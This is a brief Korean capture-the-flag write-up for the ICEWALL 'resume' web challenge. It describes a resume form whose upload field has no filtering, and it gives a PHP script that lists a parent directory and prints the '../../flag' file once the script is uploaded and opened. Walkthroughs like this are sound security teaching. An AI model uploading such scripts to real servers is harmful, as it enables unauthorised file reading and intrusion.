ICEWALL

[Web] resume / 100

Syine Mineta 2019. 7. 22. 03:24

http://icewall-ctf.kr:10002

 

입력 필드가 3개 있고 파일을 업로드할 수 있는 input이 있다. 아무 파일이나 업로드하고 다시 웹 소스를 보면,

 

어떤 필터링도 없이 그대로 올라감을 알 수 있다. 이 점을 이용해 파일 리스트를 보여주는 php 코드를 짠 뒤 서버에 업로드하고, 페이지로 접근해 본다.

 

이 디렉토리에는 플래그가 없으므로, 상위 디렉토리로 하나씩 순회하면서 찾아보면 ../..에 flag 파일이 있음을 알 수 있다. file_get_contents 함수를 사용해 플래그를 출력하면 된다.

 

<?php
  if ($handle = opendir('../../')) {
    while (false !== ($entry = readdir($handle))) {
      if ($entry != "." && $entry != "..") {
          echo "$entry\n";
      }
    }

    closedir($handle);
  }
  
  $content = file_get_contents('../../flag');
  echo $content;
?>